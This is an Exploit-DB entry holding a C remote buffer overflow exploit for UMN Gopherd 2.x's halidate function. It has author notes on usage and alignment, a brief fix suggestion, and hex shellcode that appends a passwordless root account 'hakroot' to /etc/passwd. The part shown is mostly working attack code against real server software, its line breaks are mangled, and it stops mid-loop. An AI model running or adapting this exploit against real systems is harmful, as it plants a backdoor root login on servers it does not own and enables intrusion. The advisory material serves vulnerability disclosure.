Exploit-DB #20157
Description: UMN Gopherd 2.x - Halidate Function Buffer Overflow
Type: remote
Platform: linux
Date: 2000-08-20
Author: Chris Sharp

Exploit:
// source: https://www.securityfocus.com/bid/1591/info

It is possible to either execute arbitrary code or crash a remote system running University of Minnesota's Gopher Daemon, depending on the data entered. An unchecked buffer exists in the 'halidate' function of Gopherd, where the 512 byte buffer can be overwritten with approximately 600 bytes of data.

/*  (linux)Gopher+[v2.3.1p0-]:  Daemon  remote  buffer 
overflow.
    Findings   and   exploit  by:  v9[v9@fakehalo.org]. 
(vade79)

    It  is  possible  to exploit an unchecked sprintf call
in the
    "halidate"  option  in  gopherd.c.  This exploit will
attempt 
    to   write   a   line   to   /etc/passwd.    (as a
superuser)

    The  gopher+  daemon  has  multiple  overflows  in 
different
    functions,  but  most overwrite the pointer(s) with
hardcoded
    data   from   the   program  which  are  limited.  
But,  the
    "halidate"  option/call  was  a little hidden suprise
for me.

    When  the  exploit  is sucessfully executed it adds the
line:
    "hakroot::0:0:hacked:/:/bin/sh"   to   /etc/passwd, 
with  no
    0x0A   return,   which  could  cause  some  problems  in
some
    situations.   You  may  have  to wait till someone on
the box
    modifies  their  /etc/passwd  by  adding  a user or what
not.

   Syntax:
    [syntax]: ./xgopher <target> [port] [offset]
[alignment].
    [syntax]: ./xgopher <target> <[port] [-getalignment]>.

   Explaination:
    If you don't know what the alignment of the server is,
(which
    isn't  expected  *g*)  just  type  "./xgopher hostname
[port]
    -getalignment" and with aligment you're given type
"./xgopher
    hostname <port> <offset> <alignment response you are
given>".

   Info: 
    The  following  segment  is  from gopherd.c [line
1076/3453]:
    ("pathname"  in  the  code  segment  is supplied by the
user)

--------------------------------------------------------------------------------
void
OutputAuthForm(int sockfd, char *pathname, char *host, int
port, CMDprotocol p)
{
     char tmpbuf[512];
     ...
     sprintf(tmpbuf,
             "<FORM METHOD=\"GET\"
ACTION=\"http://%s:%d/halidate%%20%s\">\r\n",
             host, port, pathname);
     ...
}
--------------------------------------------------------------------------------

   Notes:
    This  exploit requires that the service is running as
root(to
    write  to  /etc/passwd).  Even if the gopher+ daemon
displays
    itself  running  as  another user, as long as it's
process is
    running as root(uid=0) it should exploit successfully. 
Do to
    the  servers  local  host+port character lengths
changing the
    alignment  will  almost  never be the same, I recommend
using
    the  -getalignment  parameter.  You  can  play as much
as you
    want  on  this,  the  process  is  forked and won't
crash the
    gopher+  daemon  with invalid pointers.  This was also
tested
    effective   on   the  2.3  version  of  the  gopher+ 
daemon.
    Although  this  exploit  is  for linux servers, gopher+
isn't
    just  built for linux, it is also supported for BSD,
Solaris,
    SunOS,     HP-UX     and     other     operation    
systems.

   Fix:
    Compile  with "./configure --disable-auth" (isn't
disabled by
    default)  and  then  recompile  gopher  or  wait for a
patch.

   Tests:
    Built  and  tested  on slackware 3.6 and slackware 7.0
linux.
    (with   lots   of   junk   added   to   my  /etc/passwd 
*g*)
*/
#define BSIZE 512               // buffer size. (tmpbuf[512]
minus server data)
#define PADDING 150             // ret reps. (host+port
length guessing room)
#define POINTER 0xbffff65c      // base pointer in which
offsets are added.
#define DEFAULT_PORT 70         // default gopher+ daemon
port.
#define DEFAULT_OFFSET 0        // default offset. (argument
is added)
#define DEFAULT_ALIGN 0         // alignment. (depends on
host+port length)
#define TIMEOUT 5               // connection timeout time.
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
static char exec[]= // appends
"hakroot::0:0:hacked:/:/bin/sh" to /etc/passwd.

"\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb\x30\xe4\x88"

"\x63\x0b\x31\xc9\x66\xb9\x01\x04\x31\xd2\x66\xba\xa4\x01\x31\xc0\xb0\x05\xcd"

"\x80\x89\xc3\x31\xc9\xb1\x5b\x01\xf9\x31\xd2\xb2\x1d\x31\xc0\xb0\x04\xcd\x80"

"\x31\xc0\xb0\x01\xcd\x80\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x01\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x68\x61\x6b\x72\x6f\x6f\x74\x3a\x3a\x30\x3a\x30\x3a"

"\x68\x61\x63\x6b\x65\x64\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68";
void timeout(){printf("[timeout]: Connection
timeout(%d).\n",TIMEOUT);quit(-1);}
int main(int argc,char **argv){
 char bof[BSIZE];
 int i,sock,port,offset,align,ga=0;
 long ret=DEFAULT_OFFSET;
 struct hostent *t;
 struct sockaddr_in s;
 printf("*** (linux)Gopherd+[v2.3.1p0-]: Remote buffer
overflow, by: v9[v9@fake"
 "halo.org].\n");
 if(argc<2){
  printf("[syntax]: %s <target> [port] [offset]
[alignment].\n",argv[0]);
  printf("[syntax]: %s <target> <[port]
[-getalignment]>.\n",argv[0]);
  quit(0);
 }
 if(argc>2){

if(!strcmp(argv[2],"-getalignment")){ga=1;port=DEFAULT_PORT;}
  else{port=atoi(argv[2]);}
 }
 else{port=DEFAULT_PORT;}
 if(argc>3){
  if(!strcmp(argv[3],"-getalignment")){ga=1;}
  else{offset=atoi(argv[3]);}
 }
 else{offset=DEFAULT_OFFSET;}
 if(argc>4){
  if(atoi(argv[4])<0||atoi(argv[4])>3){
   printf("[ignored]: Invalid alignment, using default
alignment. (0-3)\n");
   align=DEFAULT_ALIGN;
  }
  else{align=atoi(argv[4]);}
 }
 else{align=DEFAULT_ALIGN;}
 if(ga){getalignment(argv[1],port);}
 else{
  ret=(POINTER+offset);
  printf("[stats]: Addr: 0x%lx, Offset: %d, Align: %d, Size:
%d, Padding: %d.\n"
  ,ret,offset,align,BSIZE,PADDING);
  for(i=align;i<BSI